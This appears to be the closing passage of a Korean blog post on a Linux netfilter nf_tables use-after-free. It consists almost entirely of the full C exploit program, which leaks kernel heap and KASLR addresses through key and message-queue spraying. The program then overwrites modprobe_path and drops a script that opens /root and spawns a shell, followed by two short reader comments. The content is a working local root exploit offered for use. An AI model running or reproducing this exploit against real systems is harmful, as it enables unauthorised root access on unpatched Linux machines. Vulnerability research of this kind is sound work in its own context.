fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
just_read_mq(mq3);
최종 익스플로잇 코드는 아래와 같습니다.
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <fcntl.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <net/if.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <linux/ethtool.h>
#include <linux/sockios.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <mqueue.h>
#include <time.h>
#include <sys/msg.h>
#include <sys/ipc.h>
// gcc poc.c -o poc -l mnl -l nftnl
// gcc poc.c -o poc -static -L/usr/local/lib/ -l nftnl -l mnl
void hexdump(const void* data, size_t size) {
unsigned char *p = (unsigned char*)data;
for (size_t i = 0; i < size; i++) {
printf("%02X ", p[i]);
if ((i + 1) % 16 == 0 || i == size - 1) {
printf("\n");
}
}
}
void write_to_file(const char *which, const char *format, ...) {
FILE * fu = fopen(which, "w");
va_list args;
va_start(args, format);
if (vfprintf(fu, format, args) < 0) {
perror("cannot write");
exit(1);
}
fclose(fu);
}
void init_cpu(void){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
exit(EXIT_FAILURE);
}
}
void init_namespace(void) {
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
write_to_file("/proc/self/uid_map", "0 %d 1", uid);
write_to_file("/proc/self/setgroups", "deny");
write_to_file("/proc/self/gid_map", "0 %d 1", gid);
}
void netfilter_new_table(struct mnl_socket *nl, const char *table_name){
uint8_t family = NFPROTO_IPV4;
struct nftnl_table * table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
char buf[MNL_SOCKET_BUFFER_SIZE*2];
struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
int seq = 0;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++);
nftnl_table_nlmsg_build_payload(nlh, table);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "mnl_socket_send");
}
printf("[+] create new table : %s\n", table_name);
}
uint32_t set_id = 1;
void netfilter_new_stable_set(struct mnl_socket *nl, const char *table_name, const char *set_name){
uint8_t family = NFPROTO_IPV4;
struct nftnl_set *set = nftnl_set_alloc();
nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set, NFTNL_SET_ID, set_id++);
char buf[MNL_SOCKET_BUFFER_SIZE*2];
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
int seq = 0;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET, family,
NLM_F_CREATE|NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, set);
nftnl_set_free(set);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "mnl_socket_send");
}
printf("[+] create new set (stable) : %s -> %s\n", table_name, set_name);
}
void netfilter_new_uaf_set(struct mnl_socket *nl, const char *table_name, const char *set_name, const char *target_set_name){
uint8_t family = NFPROTO_IPV4;
struct nftnl_set *set_trigger = nftnl_set_alloc();
nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
struct nftnl_expr *exprs = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(exprs, NFTNL_EXPR_LOOKUP_SET, target_set_name);
nftnl_expr_set_u32(exprs, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
// nest the expression into the set
nftnl_set_add_expr(set_trigger, exprs);
char buf[MNL_SOCKET_BUFFER_SIZE*2];
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
int seq = 0;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET, family,
NLM_F_CREATE|NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, set_trigger);
nftnl_set_free(set_trigger);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "mnl_socket_send");
}
printf("[+] create new set (UAF) : %s -> %s\n", table_name, set_name);
}
typedef int32_t key_serial_t;
static inline key_serial_t sys_add_key(const char *type, const char *desc, const void *payload, size_t plen, int ringid)
{
return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}
static inline key_serial_t sys_keyctl(int cmd, ...)
{
va_list ap;
long arg2, arg3, arg4, arg5;
va_start(ap, cmd);
arg2 = va_arg(ap, long);
arg3 = va_arg(ap, long);
arg4 = va_arg(ap, long);
arg5 = va_arg(ap, long);
va_end(ap);
return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
void revoke_key(key_serial_t key)
{
if (sys_keyctl(KEYCTL_REVOKE, key) == -1) {
err(1, "[-] failed key revoke");
}
//printf("[+] release key : %d\n", (int)key);
}
void unlink_key(key_serial_t key)
{
if (sys_keyctl(KEYCTL_UNLINK, key, KEY_SPEC_USER_KEYRING) == -1) {
err(1, "[-] failed key unlink");
}
//printf("[+] release key : %d\n", (int)key);
}
#define KEY_PAYLOAD_SIZE 40
#define KEY_SPRAY_COUNT 90
//uint32_t key_count = 0;
key_serial_t* spray_user_key_payload(int start, int end){
key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
char payload[KEY_PAYLOAD_SIZE] = {0, };
for(int i=start; i<end; i++){
snprintf(payload, KEY_PAYLOAD_SIZE, "payload-%d", i);
keys[i] = sys_add_key("user", payload, payload, KEY_PAYLOAD_SIZE, KEY_SPEC_USER_KEYRING);
if (keys[i] == -1)
err(1, "[-] failed key spraying");
}
printf("[+] sprayed user_key_payload\n");
return keys;
}
int leak_heap_addr_and_get_uaf_keyid(key_serial_t *keys, uint64_t *kheap){
int ret = 0;
char buffer[KEY_PAYLOAD_SIZE] = {0, };
for(int i=0; i<KEY_SPRAY_COUNT; i++){
ret = sys_keyctl(KEYCTL_READ, keys[i], buffer, sizeof(buffer));
if (ret == -1)
err(1, "[-] failed key read");
//printf("[*] kheap = 0x%lx\n", *((uint64_t*)buffer));
if((uint8_t)buffer[7] == 0xff){
*kheap = *((uint64_t*)buffer);
return i;
}
}
err(1, "[-] failed leak kernel heap address");
}
void revoke_all_sprayed_keys(key_serial_t *keys, int start, int end){
int c = 0;
for(int i=start; i<end; i++){
if(keys[c]!=0)
revoke_key(keys[c]);
c++;
}
printf("[+] revoked all sprayed keys\n");
}
void unlink_all_sprayed_keys(key_serial_t *keys, int start, int end){
int c = 0;
for(int i=start; i<end; i++){
if(keys[c]!=0)
unlink_key(keys[c]);
c++;
}
printf("[+] unlinked all sprayed keys\n");
}
key_serial_t *spray_fake_obj_keys(uint64_t addr1, uint64_t addr2, int start, int end){
key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
char payload[KEY_PAYLOAD_SIZE] = {0, };
char desc[KEY_PAYLOAD_SIZE] = {0, };
uint64_t m_ts = 0x28;
memcpy(payload,(char*)(&addr1),0x8); // m_list.next
memcpy(payload+0x8,(char*)(&addr2),0x8); // m_list.prev
memcpy(payload+0x10,"AAAAAAAA",0x8); // m_type
memcpy(payload+0x18,(char*)(&m_ts),0x8); // m_ts
int c = 0;
for(int i=start; i<end; i++){
snprintf(desc, KEY_PAYLOAD_SIZE, "payload-%d-fake", i);
keys[c] = sys_add_key("user", desc, payload, KEY_PAYLOAD_SIZE-1, KEY_SPEC_USER_KEYRING);
if (keys[c] == -1)
err(1, "[-] failed key spraying");
c++;
}
printf("[+] sprayed fake obj user_key_payload\n");
return keys;
}
#define MQ_MAX_COUNT 10
#define MQ_COUNT 1
#define MQ_SIZE 24
mqd_t sys_mq_open(char *queue_name){
struct mq_attr attr;
attr.mq_flags = 0;
attr.mq_maxmsg = MQ_MAX_COUNT;
attr.mq_msgsize = MQ_SIZE;
attr.mq_curmsgs = 0;
// 메시지 큐 열기
mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);
if (mq == (mqd_t)-1) {
err(1, "[-] failed mq_open");
}
printf("[+] mq_open : %s\n", queue_name);
return mq;
}
void create_fake_obj_posix_msg_tree_node(mqd_t mq){
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
memcpy(buffer, "test", 4);
if (mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts) == -1){
err(1, "[-] failed mq_timedsend");
}
printf("[+] nft_expr(+nft_lookup) <-> posix_msg_tree_node\n");
}
uint64_t leak_kaslr_base_by_read_mq(mqd_t mq){
struct timespec ts;
char buffer[1024] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
if (bytes_read == -1)
err(1, "[-] failed mq_timedreceive");
hexdump(buffer,0x20);
if((uint8_t)buffer[7] == 0xff){
return *((uint64_t*)buffer);
} else {
err(1, "[-] failed leak kaslr");
}
}
void just_read_mq(mqd_t mq){
struct timespec ts;
char buffer[1024] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
if (bytes_read == -1)
err(1, "[-] failed mq_timedreceive");
printf("[+] trigger mq_timedreceive\n");
}
int main(int argc, char *argv[])
{
printf("[+] exploit process starting\n");
init_cpu();
init_namespace();
printf("\n\n============================== [ 0. Preapare Exploiting ] ==============================\n");
struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
err(1, "[-] mnl_socket_open");
} else {
printf("[+] mnl_socket_open\n");
}
mqd_t mq1 = sys_mq_open("/queue-leak");
mqd_t mq2 = sys_mq_open("/queue-overwrite");
mqd_t mq3 = sys_mq_open("/queue-overwrite3");
printf("\n\n============================== [ 1. Leaking Kernel Heap Address ] ==============================\n");
netfilter_new_table(nl, "table1");
netfilter_new_stable_set(nl, "table1", "set_stable1");
netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");
key_serial_t *spray_keys = spray_user_key_payload(0, KEY_SPRAY_COUNT);
netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");
uint64_t kheap = 0;
int keyid = leak_heap_addr_and_get_uaf_keyid(spray_keys, &kheap);
printf("[*] kheap = 0x%lx (keyid = %d)\n", kheap, keyid);
revoke_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
printf("\n\n============================== [ 2. Leaking KASLR Base Address ] ==============================\n");
netfilter_new_table(nl, "table2");
netfilter_new_stable_set(nl, "table2", "set_stable2");
netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
create_fake_obj_posix_msg_tree_node(mq1);
key_serial_t *spray_keys2 = spray_user_key_payload(0, KEY_SPRAY_COUNT);
netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
key_serial_t *fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
revoke_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
uint64_t kernel_base = leak_kaslr_base_by_read_mq(mq1) - 0x373330;
printf("[*] Kernel Base = 0x%lx\n", kernel_base);
revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
printf("\n\n============================== [ 3. Overwriting modporbe_path ] ==============================\n");
uint64_t modprobe_path = kernel_base + 0x144dac0;
printf("[*] modprobe_path = 0x%lx\n", modprobe_path);
netfilter_new_table(nl, "table3");
netfilter_new_stable_set(nl, "table3", "set_stable3");
netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
create_fake_obj_posix_msg_tree_node(mq2);
netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
uint64_t modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x6d74;
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
just_read_mq(mq2);
revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
netfilter_new_table(nl, "table4");
netfilter_new_stable_set(nl, "table4", "set_stable4");
netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
create_fake_obj_posix_msg_tree_node(mq3);
netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x2f70;
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
just_read_mq(mq3);
printf("\n\n============================== [ 4. Finish ] ==============================\n");
if(fork()){
char modprobe_content[] = "#!/bin/sh\nchmod -R 777 /root";
char filename[] = "/tmpX/modprobe";
memcpy(filename+3, &modprobe_name, 0x8);
int fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
write(fd, modprobe_content, sizeof(modprobe_content));
close(fd);
fd = open("/tmp/pwn", O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
write(fd, "\xff\xff\xff\xff", 4);
close(fd);
system("/tmp/pwn");
system("/bin/sh");
}
getchar(); //pause
}
잘보고갑니다!
취약점 자체가 포너블 하는 느낌이네요